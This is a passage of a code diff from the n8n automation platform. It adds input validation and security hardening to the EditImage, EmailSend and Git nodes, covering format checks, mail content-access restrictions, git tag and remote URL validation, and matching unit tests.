|||
}
|
||||
|
||||
if (options.format !== undefined) {
|
||||
gmInstance = gmInstance!.setFormat(options.format as string);
|
||||
const format = validateImageFormat(options.format, this.getNode());
|
||||
gmInstance = gmInstance!.setFormat(format);
|
||||
newItem.binary![binaryPropertyName].fileExtension = options.format as string;
|
||||
newItem.binary![binaryPropertyName].mimeType = `image/${options.format}`;
|
||||
const fileName = newItem.binary![binaryPropertyName].fileName;
|
||||
|
|
|
|||
|
|
@ -615,6 +615,41 @@ describe('EditImage Node', () => {
|
|||
expect(result[0][0].binary?.data?.fileExtension).toBe('jpeg');
|
||||
});
|
||||
|
||||
it.each([
|
||||
['unsupported string', 'pdf'],
|
||||
['non-string value', 123],
|
||||
])('should reject an %s format', async (_, format) => {
|
||||
const testBuffer = createTestBuffer();
|
||||
const items: INodeExecutionData[] = [
|
||||
{
|
||||
json: {},
|
||||
binary: {
|
||||
data: {
|
||||
data: testBuffer.toString('base64'),
|
||||
mimeType: 'image/png',
|
||||
fileExtension: 'png',
|
||||
fileName: 'test.png',
|
||||
},
|
||||
},
|
||||
},
|
||||
];
|
||||
mockExecuteFunctions.getInputData.mockReturnValue(items);
|
||||
mockExecuteFunctions.getNodeParameter.mockImplementation((paramName: string) => {
|
||||
if (paramName === 'operation') return 'blur';
|
||||
if (paramName === 'dataPropertyName') return 'data';
|
||||
if (paramName === 'blur') return 5;
|
||||
if (paramName === 'sigma') return 2;
|
||||
if (paramName === 'options') return { format };
|
||||
return {};
|
||||
});
|
||||
mockExecuteFunctions.helpers.getBinaryDataBuffer.mockResolvedValue(testBuffer);
|
||||
|
||||
await expect(editImageNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
`Invalid image format: ${format}`,
|
||||
);
|
||||
expect(mockGmInstance.setFormat).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should apply custom fileName option', async () => {
|
||||
const testBuffer = createTestBuffer();
|
||||
const items: INodeExecutionData[] = [
|
||||
|
|
|
|||
|
|
@ -517,4 +517,45 @@ describe('Test EmailSendV1', () => {
|
|||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('message parameters', () => {
|
||||
it('should serialize object message values before sending', async () => {
|
||||
const items = [{ json: { data: 'test' } }];
|
||||
|
||||
mockExecuteFunctions.getInputData.mockReturnValue(items);
|
||||
mockExecuteFunctions.getCredentials.mockResolvedValue({
|
||||
host: 'smtp.example.com',
|
||||
port: 587,
|
||||
secure: false,
|
||||
});
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('from@example.com')
|
||||
.mockReturnValueOnce('to@example.com')
|
||||
.mockReturnValueOnce('cc@example.com')
|
||||
.mockReturnValueOnce('bcc@example.com')
|
||||
.mockReturnValueOnce('Test Subject')
|
||||
.mockReturnValueOnce({ path: 'message.txt' })
|
||||
.mockReturnValueOnce({ href: 'https://example.test/message' })
|
||||
.mockReturnValueOnce('')
|
||||
.mockReturnValueOnce({ replyTo: 'reply@example.com' });
|
||||
transporter.sendMail.mockResolvedValue({ messageId: 'test-id' });
|
||||
|
||||
await emailSendV1.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(transporter.sendMail).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
from: 'from@example.com',
|
||||
to: 'to@example.com',
|
||||
cc: 'cc@example.com',
|
||||
bcc: 'bcc@example.com',
|
||||
subject: 'Test Subject',
|
||||
text: '{"path":"message.txt"}',
|
||||
html: '{"href":"https://example.test/message"}',
|
||||
replyTo: 'reply@example.com',
|
||||
disableFileAccess: true,
|
||||
disableUrlAccess: true,
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -602,4 +602,47 @@ describe('Test EmailSendV2, send operation', () => {
|
|||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('message parameters', () => {
|
||||
it('should request normalized text and HTML values before sending', async () => {
|
||||
const items = [{ json: { data: 'test' } }];
|
||||
|
||||
mockExecuteFunctions.getInputData.mockReturnValue(items);
|
||||
mockExecuteFunctions.getNode.mockReturnValue({ typeVersion: 2.1 } as any);
|
||||
mockExecuteFunctions.getInstanceId.mockReturnValue('instanceId');
|
||||
mockExecuteFunctions.getCredentials.mockResolvedValue({
|
||||
host: 'smtp.example.com',
|
||||
port: 587,
|
||||
});
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('from@example.com')
|
||||
.mockReturnValueOnce('to@example.com')
|
||||
.mockReturnValueOnce('Test Subject')
|
||||
.mockReturnValueOnce('both')
|
||||
.mockReturnValueOnce({
|
||||
appendAttribution: false,
|
||||
ccEmail: 'cc@example.com',
|
||||
bccEmail: 'bcc@example.com',
|
||||
replyTo: 'reply@example.com',
|
||||
})
|
||||
.mockReturnValueOnce(['plain text'])
|
||||
.mockReturnValueOnce(['rich text']);
|
||||
transporter.sendMail.mockResolvedValue({ messageId: 'test-id' });
|
||||
|
||||
await sendOperation.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(transporter.sendMail).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
from: 'from@example.com',
|
||||
to: 'to@example.com',
|
||||
cc: 'cc@example.com',
|
||||
bcc: 'bcc@example.com',
|
||||
subject: 'Test Subject',
|
||||
text: '["plain text"]',
|
||||
html: '["rich text"]',
|
||||
replyTo: 'reply@example.com',
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -29,7 +29,7 @@ describe('Test EmailSendV2, email => sendAndWait', () => {
|
|||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it('should send message and put execution to wait', async () => {
|
||||
it('should use the shared transport configuration and put execution to wait', async () => {
|
||||
const items = [{ json: { data: 'test' } }];
|
||||
//node
|
||||
mockExecuteFunctions.getNodeParameter.mockReturnValueOnce(SEND_AND_WAIT_OPERATION);
|
||||
|
|
@ -58,7 +58,7 @@ describe('Test EmailSendV2, email => sendAndWait', () => {
|
|||
const result = await emailSendV2.execute.call(mockExecuteFunctions);
|
||||
|
||||
expect(result).toEqual([items]);
|
||||
expect(utils.configureTransport).toHaveBeenCalledTimes(1);
|
||||
expect(utils.configureTransport).toHaveBeenCalledWith({}, {});
|
||||
expect(mockExecuteFunctions.putExecutionToWait).toHaveBeenCalledTimes(1);
|
||||
|
||||
expect(transporter.sendMail).toHaveBeenCalledWith({
|
||||
|
|
|
|||
34
packages/nodes-base/nodes/EmailSend/test/v2/utils.test.ts
Normal file
34
packages/nodes-base/nodes/EmailSend/test/v2/utils.test.ts
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
import { configureTransport } from '../../v2/utils';
|
||||
|
||||
const { createTransport } = vi.hoisted(() => ({
|
||||
createTransport: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('nodemailer', () => ({
|
||||
createTransport,
|
||||
}));
|
||||
|
||||
describe('EmailSend transport configuration', () => {
|
||||
it('should apply content access restrictions to the transport', () => {
|
||||
configureTransport(
|
||||
{
|
||||
host: 'smtp.example.com',
|
||||
port: 587,
|
||||
secure: false,
|
||||
},
|
||||
{},
|
||||
);
|
||||
|
||||
expect(createTransport).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
host: 'smtp.example.com',
|
||||
port: 587,
|
||||
secure: false,
|
||||
}),
|
||||
{
|
||||
disableFileAccess: true,
|
||||
disableUrlAccess: true,
|
||||
},
|
||||
);
|
||||
});
|
||||
});
|
||||
9
packages/nodes-base/nodes/EmailSend/utils.ts
Normal file
9
packages/nodes-base/nodes/EmailSend/utils.ts
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
export function toMailString(value: unknown): string | undefined {
|
||||
if (value === null || value === undefined) return undefined;
|
||||
if (typeof value === 'string') return value;
|
||||
if (typeof value === 'number' || typeof value === 'boolean' || typeof value === 'bigint') {
|
||||
return value.toString();
|
||||
}
|
||||
if (typeof value === 'symbol' || typeof value === 'function') return value.toString();
|
||||
return JSON.stringify(value);
|
||||
}
|
||||
|
|
@ -10,6 +10,7 @@ import { NodeConnectionTypes } from 'n8n-workflow';
|
|||
import { createTransport } from 'nodemailer';
|
||||
import type SMTPTransport from 'nodemailer/lib/smtp-transport';
|
||||
import { prepareBinariesDataList } from '../../../utils/binary';
|
||||
import { toMailString } from '../utils';
|
||||
|
||||
const versionDescription: INodeTypeDescription = {
|
||||
displayName: 'Send Email',
|
||||
|
|
@ -150,15 +151,16 @@ export class EmailSendV1 implements INodeType {
|
|||
try {
|
||||
item = items[itemIndex];
|
||||
|
||||
const fromEmail = this.getNodeParameter('fromEmail', itemIndex) as string;
|
||||
const toEmail = this.getNodeParameter('toEmail', itemIndex) as string;
|
||||
const ccEmail = this.getNodeParameter('ccEmail', itemIndex) as string;
|
||||
const bccEmail = this.getNodeParameter('bccEmail', itemIndex) as string;
|
||||
const subject = this.getNodeParameter('subject', itemIndex) as string;
|
||||
const text = this.getNodeParameter('text', itemIndex) as string;
|
||||
const html = this.getNodeParameter('html', itemIndex) as string;
|
||||
const fromEmail = toMailString(this.getNodeParameter('fromEmail', itemIndex));
|
||||
const toEmail = toMailString(this.getNodeParameter('toEmail', itemIndex));
|
||||
const ccEmail = toMailString(this.getNodeParameter('ccEmail', itemIndex));
|
||||
const bccEmail = toMailString(this.getNodeParameter('bccEmail', itemIndex));
|
||||
const subject = toMailString(this.getNodeParameter('subject', itemIndex));
|
||||
const text = toMailString(this.getNodeParameter('text', itemIndex, ''));
|
||||
const html = toMailString(this.getNodeParameter('html', itemIndex, ''));
|
||||
const attachmentPropertyString = this.getNodeParameter('attachments', itemIndex) as string;
|
||||
const options = this.getNodeParameter('options', itemIndex, {});
|
||||
const replyTo = toMailString(options.replyTo);
|
||||
|
||||
const credentials = await this.getCredentials('smtp');
|
||||
|
||||
|
|
@ -192,7 +194,9 @@ export class EmailSendV1 implements INodeType {
|
|||
subject,
|
||||
text,
|
||||
html,
|
||||
replyTo: options.replyTo as string | undefined,
|
||||
replyTo,
|
||||
disableFileAccess: true,
|
||||
disableUrlAccess: true,
|
||||
};
|
||||
|
||||
if (attachmentPropertyString && item.binary) {
|
||||
|
|
|
|||
|
|
@ -13,6 +13,7 @@ import { fromEmailProperty, toEmailProperty } from './descriptions';
|
|||
import { configureTransport, type EmailSendOptions } from './utils';
|
||||
import { appendAttributionOption } from '../../../utils/descriptions';
|
||||
import { prepareBinariesDataList } from '../../../utils/binary';
|
||||
import { toMailString } from '../utils';
|
||||
|
||||
const properties: INodeProperties[] = [
|
||||
// TODO: Add choice for text as text or html (maybe also from name)
|
||||
|
|
@ -195,29 +196,35 @@ export async function execute(this: IExecuteFunctions): Promise<INodeExecutionDa
|
|||
try {
|
||||
item = items[itemIndex];
|
||||
|
||||
const fromEmail = this.getNodeParameter('fromEmail', itemIndex) as string;
|
||||
const toEmail = this.getNodeParameter('toEmail', itemIndex) as string;
|
||||
const subject = this.getNodeParameter('subject', itemIndex) as string;
|
||||
const fromEmail = toMailString(this.getNodeParameter('fromEmail', itemIndex));
|
||||
const toEmail = toMailString(this.getNodeParameter('toEmail', itemIndex));
|
||||
const subject = toMailString(this.getNodeParameter('subject', itemIndex));
|
||||
const emailFormat = this.getNodeParameter('emailFormat', itemIndex) as string;
|
||||
const options = this.getNodeParameter('options', itemIndex, {}) as EmailSendOptions;
|
||||
|
||||
const ccEmail = toMailString(options.ccEmail);
|
||||
const bccEmail = toMailString(options.bccEmail);
|
||||
const replyTo = toMailString(options.replyTo);
|
||||
|
||||
const transporter = configureTransport(credentials, options);
|
||||
|
||||
const mailOptions: IDataObject = {
|
||||
from: fromEmail,
|
||||
to: toEmail,
|
||||
cc: options.ccEmail,
|
||||
bcc: options.bccEmail,
|
||||
cc: ccEmail,
|
||||
bcc: bccEmail,
|
||||
subject,
|
||||
replyTo: options.replyTo,
|
||||
replyTo,
|
||||
};
|
||||
|
||||
if (emailFormat === 'text' || emailFormat === 'both') {
|
||||
mailOptions.text = this.getNodeParameter('text', itemIndex, '');
|
||||
const text = toMailString(this.getNodeParameter('text', itemIndex, ''));
|
||||
mailOptions.text = text;
|
||||
}
|
||||
|
||||
if (emailFormat === 'html' || emailFormat === 'both') {
|
||||
mailOptions.html = this.getNodeParameter('html', itemIndex, '');
|
||||
const html = toMailString(this.getNodeParameter('html', itemIndex, ''));
|
||||
mailOptions.html = html;
|
||||
}
|
||||
|
||||
let appendAttribution = options.appendAttribution;
|
||||
|
|
|
|||
|
|
@ -18,6 +18,7 @@ import {
|
|||
getSendAndWaitConfig,
|
||||
getSendAndWaitProperties,
|
||||
} from '../../../utils/sendAndWait/utils';
|
||||
import { toMailString } from '../utils';
|
||||
|
||||
export const description: INodeProperties[] = getSendAndWaitProperties(
|
||||
[fromEmailProperty, toEmailProperty],
|
||||
|
|
@ -25,8 +26,8 @@ export const description: INodeProperties[] = getSendAndWaitProperties(
|
|||
);
|
||||
|
||||
export async function execute(this: IExecuteFunctions): Promise<INodeExecutionData[][]> {
|
||||
const fromEmail = this.getNodeParameter('fromEmail', 0) as string;
|
||||
const toEmail = this.getNodeParameter('toEmail', 0) as string;
|
||||
const fromEmail = toMailString(this.getNodeParameter('fromEmail', 0));
|
||||
const toEmail = toMailString(this.getNodeParameter('toEmail', 0));
|
||||
|
||||
const config = getSendAndWaitConfig(this);
|
||||
const buttons: string[] = [];
|
||||
|
|
|
|||
|
|
@ -45,7 +45,10 @@ export function configureTransport(credentials: IDataObject, options: EmailSendO
|
|||
};
|
||||
}
|
||||
|
||||
return createTransport(connectionOptions);
|
||||
return createTransport(connectionOptions, {
|
||||
disableFileAccess: true,
|
||||
disableUrlAccess: true,
|
||||
});
|
||||
}
|
||||
|
||||
export async function smtpConnectionTest(
|
||||
|
|
|
|||
|
|
@ -3,19 +3,21 @@ import { NodeOperationError } from 'n8n-workflow';
|
|||
import type { ConfigListSummary } from 'simple-git';
|
||||
|
||||
/**
|
||||
* Validates a git reference to prevent command injection attacks
|
||||
* @param reference - The git reference to validate (e.g., branch name, HEAD, refs/heads/main)
|
||||
* @param node - The node instance for error throwing
|
||||
* @throws {NodeOperationError} If the reference contains unsafe characters or patterns
|
||||
* Shared safeguards for git references: block argument injection, path
|
||||
* traversal, and control characters. The caller supplies the allowed-character
|
||||
* whitelist so tags (which permit `+`) can be validated less strictly than
|
||||
* branch/ref names without weakening the injection protections.
|
||||
*/
|
||||
export function validateGitReference(reference: string, node: INode): void {
|
||||
// Allow only safe characters: alphanumeric, /, @, {, }, ., -, _, :
|
||||
const safeReferencePattern = /^[a-zA-Z0-9/@{}._:-]+$/;
|
||||
|
||||
function assertSafeGitReference(
|
||||
reference: string,
|
||||
node: INode,
|
||||
safeReferencePattern: RegExp,
|
||||
allowedCharsMessage: string,
|
||||
): void {
|
||||
if (!safeReferencePattern.test(reference)) {
|
||||
throw new NodeOperationError(
|
||||
node,
|
||||
'Invalid reference format. Reference contains unsafe characters. Only alphanumeric characters and /@{}._:- are allowed',
|
||||
`Invalid reference format. Reference contains unsafe characters. Only alphanumeric characters and ${allowedCharsMessage} are allowed`,
|
||||
);
|
||||
}
|
||||
|
||||
|
|
@ -42,10 +44,119 @@ export function validateGitReference(reference: string, node: INode): void {
|
|||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a git reference to prevent command injection attacks
|
||||
* @param reference - The git reference to validate (e.g., branch name, HEAD, refs/heads/main)
|
||||
* @param node - The node instance for error throwing
|
||||
* @throws {NodeOperationError} If the reference contains unsafe characters or patterns
|
||||
*/
|
||||
export function validateGitReference(reference: string, node: INode): void {
|
||||
// Allow only safe characters: alphanumeric, /, @, {, }, ., -, _, :
|
||||
assertSafeGitReference(reference, node, /^[a-zA-Z0-9/@{}._:-]+$/, '/@{}._:-');
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a git tag name. Tags follow git's ref-format rules, which permit
|
||||
* `+` (e.g. SemVer build metadata like `v1.2.3+build.1`), so the whitelist is
|
||||
* a superset of `validateGitReference` while keeping the same safeguards.
|
||||
* @param name - The tag name to validate
|
||||
* @param node - The node instance for error throwing
|
||||
* @throws {NodeOperationError} If the tag name contains unsafe characters or patterns
|
||||
*/
|
||||
export function validateGitTag(name: string, node: INode): void {
|
||||
assertSafeGitReference(name, node, /^[a-zA-Z0-9/@{}._:+-]+$/, '/@{}._:+-');
|
||||
}
|
||||
|
||||
const REMOTE_ORIGIN_URL_KEY = 'remote.origin.url';
|
||||
|
||||
const REMOTE_ORIGIN_PUSH_URL_KEY = 'remote.origin.pushurl';
|
||||
|
||||
const REMOTE_CONFIG_KEY_PATTERN = /^remote\.(.+)\.(url|pushurl)$/i;
|
||||
|
||||
export type GitRepositoryType = 'source' | 'target';
|
||||
|
||||
export interface ConfiguredRemoteRepositories {
|
||||
sourceValidationTargets: string[];
|
||||
targetValidationTargets: string[];
|
||||
pushTarget: string | undefined;
|
||||
}
|
||||
|
||||
export function getRepositoryTypeForRemoteConfigKey(key: string): GitRepositoryType | undefined {
|
||||
const match = REMOTE_CONFIG_KEY_PATTERN.exec(key);
|
||||
|
||||
if (!match) {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
return match[2].toLowerCase() === 'pushurl' ? 'target' : 'source';
|
||||
}
|
||||
|
||||
function addRemoteValue(
|
||||
remoteValuesByName: Map<string, string[]>,
|
||||
remoteName: string,
|
||||
value: string,
|
||||
) {
|
||||
const existingValues = remoteValuesByName.get(remoteName) ?? [];
|
||||
existingValues.push(value);
|
||||
remoteValuesByName.set(remoteName, existingValues);
|
||||
}
|
||||
|
||||
export function getConfiguredRemoteRepositories(
|
||||
configValues: Record<string, Record<string, string | string[] | undefined>>,
|
||||
node: INode,
|
||||
): ConfiguredRemoteRepositories {
|
||||
const sourceValidationTargets: string[] = [];
|
||||
const targetValidationTargets: string[] = [];
|
||||
const remoteOriginUrls: string[] = [];
|
||||
const remoteOriginPushUrls: string[] = [];
|
||||
const remoteUrlsByName = new Map<string, string[]>();
|
||||
const remotePushUrlsByName = new Map<string, string[]>();
|
||||
|
||||
for (const values of Object.values(configValues)) {
|
||||
for (const [key, value] of Object.entries(values)) {
|
||||
const match = REMOTE_CONFIG_KEY_PATTERN.exec(key);
|
||||
if (value === undefined || match === null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (typeof value !== 'string') {
|
||||
throw new NodeOperationError(node, 'Target repository is required');
|
||||
}
|
||||
|
||||
const remoteName = match[1].toLowerCase();
|
||||
const repositoryType = match[2].toLowerCase();
|
||||
|
||||
const normalizedKey = key.toLowerCase();
|
||||
if (repositoryType === 'pushurl') {
|
||||
addRemoteValue(remotePushUrlsByName, remoteName, value);
|
||||
if (normalizedKey === REMOTE_ORIGIN_PUSH_URL_KEY) {
|
||||
remoteOriginPushUrls.push(value);
|
||||
}
|
||||
} else {
|
||||
sourceValidationTargets.push(value);
|
||||
addRemoteValue(remoteUrlsByName, remoteName, value);
|
||||
}
|
||||
|
||||
if (normalizedKey === REMOTE_ORIGIN_URL_KEY) {
|
||||
remoteOriginUrls.push(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const remoteNames = new Set([...remoteUrlsByName.keys(), ...remotePushUrlsByName.keys()]);
|
||||
for (const remoteName of remoteNames) {
|
||||
const remoteUrls = remoteUrlsByName.get(remoteName) ?? [];
|
||||
const remotePushUrls = remotePushUrlsByName.get(remoteName);
|
||||
targetValidationTargets.push.apply(targetValidationTargets, remotePushUrls ?? remoteUrls);
|
||||
}
|
||||
|
||||
return {
|
||||
sourceValidationTargets,
|
||||
targetValidationTargets,
|
||||
pushTarget: remoteOriginPushUrls[0] ?? remoteOriginUrls[0],
|
||||
};
|
||||
}
|
||||
|
||||
function sanitizeUrl(url: string): string {
|
||||
const urlObj = new URL(url);
|
||||
urlObj.username = '';
|
||||
|
|
|
|||
|
|
@ -32,7 +32,14 @@ import {
|
|||
switchBranchFields,
|
||||
tagFields,
|
||||
} from './descriptions';
|
||||
import { mapGitConfigList, validateGitReference } from './GenericFunctions';
|
||||
import {
|
||||
type ConfiguredRemoteRepositories,
|
||||
getConfiguredRemoteRepositories,
|
||||
getRepositoryTypeForRemoteConfigKey,
|
||||
mapGitConfigList,
|
||||
validateGitReference,
|
||||
validateGitTag,
|
||||
} from './GenericFunctions';
|
||||
|
||||
const REMOTE_HELPER_TRANSPORT = /^[a-zA-Z][a-zA-Z0-9+.-]*::/;
|
||||
|
||||
|
|
@ -303,8 +310,20 @@ export class Git implements INodeType {
|
|||
const hasUrlScheme = (repositoryPath: string) =>
|
||||
/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(repositoryPath);
|
||||
|
||||
const isSshRepositoryPath = (repositoryPath: string) =>
|
||||
/^(?:[^@\s]+@)?[^:\s]+:.+/.test(repositoryPath);
|
||||
const isSshRepositoryPath = (repositoryPath: string) => {
|
||||
const colonIndex = repositoryPath.indexOf(':');
|
||||
if (colonIndex === -1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const remoteHost = repositoryPath.slice(0, colonIndex);
|
||||
return (
|
||||
remoteHost.length > 0 &&
|
||||
!remoteHost.includes('/') &&
|
||||
!remoteHost.includes('\\') &&
|
||||
/^(?:[^@\s]+@)?[^@\s]+$/.test(remoteHost)
|
||||
);
|
||||
};
|
||||
|
||||
const assertLocalRepositoryPathAllowed = async (
|
||||
repositoryPath: string,
|
||||
|
|
@ -375,35 +394,23 @@ export class Git implements INodeType {
|
|||
}
|
||||
};
|
||||
|
||||
const getRemoteOriginTargetRepositories = (
|
||||
configValues: Record<string, Record<string, string | string[] | undefined>>,
|
||||
) => {
|
||||
const remoteOriginUrls: string[] = [];
|
||||
const remoteOriginPushUrls: string[] = [];
|
||||
const validateConfiguredRemoteRepositories = async (
|
||||
git: SimpleGit,
|
||||
repositoryType: 'source' | 'target',
|
||||
baseDir: string,
|
||||
): Promise<ConfiguredRemoteRepositories> => {
|
||||
const config = await git.listConfig();
|
||||
const remoteRepositories = getConfiguredRemoteRepositories(config.values, this.getNode());
|
||||
const validationTargets =
|
||||
repositoryType === 'source'
|
||||
? remoteRepositories.sourceValidationTargets
|
||||
: remoteRepositories.targetValidationTargets;
|
||||
|
||||
for (const values of Object.values(configValues)) {
|
||||
for (const key of ['remote.origin.url', 'remote.origin.pushurl'] as const) {
|
||||
const value = values[key];
|
||||
if (value === undefined) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (typeof value !== 'string') {
|
||||
throw new NodeOperationError(this.getNode(), 'Target repository is required');
|
||||
}
|
||||
|
||||
if (key === 'remote.origin.pushurl') {
|
||||
remoteOriginPushUrls.push(value);
|
||||
} else {
|
||||
remoteOriginUrls.push(value);
|
||||
}
|
||||
}
|
||||
for (const repository of validationTargets) {
|
||||
await assertRepositoryReferenceAllowed(repository, repositoryType, baseDir);
|
||||
}
|
||||
|
||||
return {
|
||||
validationTargets: [...remoteOriginUrls, ...remoteOriginPushUrls],
|
||||
pushTarget: remoteOriginPushUrls[0] ?? remoteOriginUrls[0],
|
||||
};
|
||||
return remoteRepositories;
|
||||
};
|
||||
|
||||
const isFileNotFoundError = (error: unknown) =>
|
||||
|
|
@ -506,11 +513,13 @@ export class Git implements INodeType {
|
|||
};
|
||||
|
||||
const cleanEnv = Object.create(null) as Record<string, unknown>;
|
||||
const isWriteOperation = operation === 'push' || operation === 'pushTags';
|
||||
// Tell git not to ask for any information via the terminal like for
|
||||
// example the username. As nobody will be able to answer it would
|
||||
// n8n keep on waiting forever.
|
||||
cleanEnv['GIT_TERMINAL_PROMPT'] = '0';
|
||||
cleanEnv['GIT_ALLOW_PROTOCOL'] = 'file:git:http:https:ssh';
|
||||
cleanEnv['GIT_ALLOW_PROTOCOL'] =
|
||||
isWriteOperation && !enableHooks ? 'git:http:https:ssh' : 'file:git:http:https:ssh';
|
||||
const git: SimpleGit = simpleGit(gitOptions).env(cleanEnv);
|
||||
|
||||
if (operation === 'add') {
|
||||
|
|
@ -552,6 +561,11 @@ export class Git implements INodeType {
|
|||
);
|
||||
}
|
||||
|
||||
const repositoryType = getRepositoryTypeForRemoteConfigKey(key);
|
||||
if (repositoryType) {
|
||||
await assertRepositoryReferenceAllowed(value, repositoryType, resolvedRepositoryPath);
|
||||
}
|
||||
|
||||
if (options.mode === 'append') {
|
||||
append = true;
|
||||
}
|
||||
|
|
@ -653,6 +667,7 @@ export class Git implements INodeType {
|
|||
// fetch
|
||||
// ----------------------------------
|
||||
|
||||
await validateConfiguredRemoteRepositories(git, 'source', resolvedRepositoryPath);
|
||||
await git.fetch();
|
||||
returnItems.push({
|
||||
json: {
|
||||
|
|
@ -693,6 +708,7 @@ export class Git implements INodeType {
|
|||
// pull
|
||||
// ----------------------------------
|
||||
|
||||
await validateConfiguredRemoteRepositories(git, 'source', resolvedRepositoryPath);
|
||||
await git.pull();
|
||||
returnItems.push({
|
||||
json: {
|
||||
|
|
@ -725,19 +741,12 @@ export class Git implements INodeType {
|
|||
await git.push(targetRepository);
|
||||
} else {
|
||||
const authentication = this.getNodeParameter('authentication', 0) as string;
|
||||
const config = await git.listConfig();
|
||||
const { validationTargets, pushTarget } = getRemoteOriginTargetRepositories(
|
||||
config.values,
|
||||
const { pushTarget } = await validateConfiguredRemoteRepositories(
|
||||
git,
|
||||
'target',
|
||||
resolvedRepositoryPath,
|
||||
);
|
||||
|
||||
for (const targetRepository of validationTargets) {
|
||||
await assertRepositoryReferenceAllowed(
|
||||
targetRepository,
|
||||
'target',
|
||||
resolvedRepositoryPath,
|
||||
);
|
||||
}
|
||||
|
||||
if (authentication === 'gitPassword') {
|
||||
if (pushTarget === undefined) {
|
||||
throw new NodeOperationError(this.getNode(), 'Target repository is required');
|
||||
|
|
@ -763,6 +772,7 @@ export class Git implements INodeType {
|
|||
// pushTags
|
||||
// ----------------------------------
|
||||
|
||||
await validateConfiguredRemoteRepositories(git, 'target', resolvedRepositoryPath);
|
||||
await git.pushTags();
|
||||
returnItems.push({
|
||||
json: {
|
||||
|
|
@ -912,6 +922,7 @@ export class Git implements INodeType {
|
|||
// ----------------------------------
|
||||
|
||||
const name = this.getNodeParameter('name', itemIndex, '') as string;
|
||||
validateGitTag(name, this.getNode());
|
||||
|
||||
await git.addTag(name);
|
||||
returnItems.push({
|
||||
|
|
|
|||
|
|
@ -1,7 +1,8 @@
|
|||
import { mockDeep } from 'vitest-mock-extended';
|
||||
import type { ConfigListSummary } from 'simple-git';
|
||||
import type { INode } from 'n8n-workflow';
|
||||
|
||||
import { mapGitConfigList } from '../GenericFunctions';
|
||||
import { getConfiguredRemoteRepositories, mapGitConfigList } from '../GenericFunctions';
|
||||
|
||||
describe('GenericFunctions', () => {
|
||||
describe('mapGitConfigList', () => {
|
||||
|
|
@ -131,4 +132,43 @@ describe('GenericFunctions', () => {
|
|||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('getConfiguredRemoteRepositories', () => {
|
||||
it('should return every configured remote URL as a validation target', () => {
|
||||
const config = mockDeep<ConfigListSummary>({
|
||||
values: {
|
||||
'.git/config': {
|
||||
'remote.origin.url': 'https://github.com/test/repo.git',
|
||||
'remote.origin.pushurl': 'https://github.com/test/push-repo.git',
|
||||
'remote.upstream.url': '/outside/source-repo',
|
||||
'remote.upstream.pushurl': '/outside/target-repo',
|
||||
'branch.main.remote': 'upstream',
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const result = getConfiguredRemoteRepositories(config.values, mockDeep<INode>());
|
||||
|
||||
expect(result).toEqual({
|
||||
sourceValidationTargets: ['https://github.com/test/repo.git', '/outside/source-repo'],
|
||||
targetValidationTargets: ['https://github.com/test/push-repo.git', '/outside/target-repo'],
|
||||
pushTarget: 'https://github.com/test/push-repo.git',
|
||||
});
|
||||
});
|
||||
|
||||
it('should keep using origin as the prepared push target', () => {
|
||||
const config = mockDeep<ConfigListSummary>({
|
||||
values: {
|
||||
'.git/config': {
|
||||
'remote.upstream.url': '/outside/source-repo',
|
||||
'remote.origin.url': 'https://github.com/test/repo.git',
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const result = getConfiguredRemoteRepositories(config.values, mockDeep<INode>());
|
||||
|
||||
expect(result.pushTarget).toBe('https://github.com/test/repo.git');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,208 +0,0 @@
|
|||
import { DeploymentConfig, SecurityConfig } from '@n8n/config';
|
||||
import { Container } from '@n8n/di';
|
||||
import { mock } from 'vitest-mock-extended';
|
||||
import type { IExecuteFunctions } from 'n8n-workflow';
|
||||
import type { SimpleGit } from 'simple-git';
|
||||
import simpleGit from 'simple-git';
|
||||
|
||||
import { Git } from '../Git.node';
|
||||
import type { Mock, Mocked, MockedFunction } from 'vitest';
|
||||
|
||||
const mockGit = {
|
||||
log: vi.fn(),
|
||||
env: vi.fn().mockReturnThis(),
|
||||
};
|
||||
|
||||
vi.mock('simple-git');
|
||||
const mockSimpleGit = simpleGit as MockedFunction<typeof simpleGit>;
|
||||
mockSimpleGit.mockReturnValue(mockGit as unknown as SimpleGit);
|
||||
|
||||
describe('Git Node', () => {
|
||||
let gitNode: Git;
|
||||
let executeFunctions: Mocked<IExecuteFunctions>;
|
||||
let deploymentConfig: Mocked<DeploymentConfig>;
|
||||
let securityConfig: Mocked<SecurityConfig>;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
|
||||
deploymentConfig = mock<DeploymentConfig>({
|
||||
type: 'default',
|
||||
});
|
||||
securityConfig = mock<SecurityConfig>({
|
||||
disableBareRepos: false,
|
||||
enableGitNodeHooks: true,
|
||||
});
|
||||
Container.set(DeploymentConfig, deploymentConfig);
|
||||
Container.set(SecurityConfig, securityConfig);
|
||||
|
||||
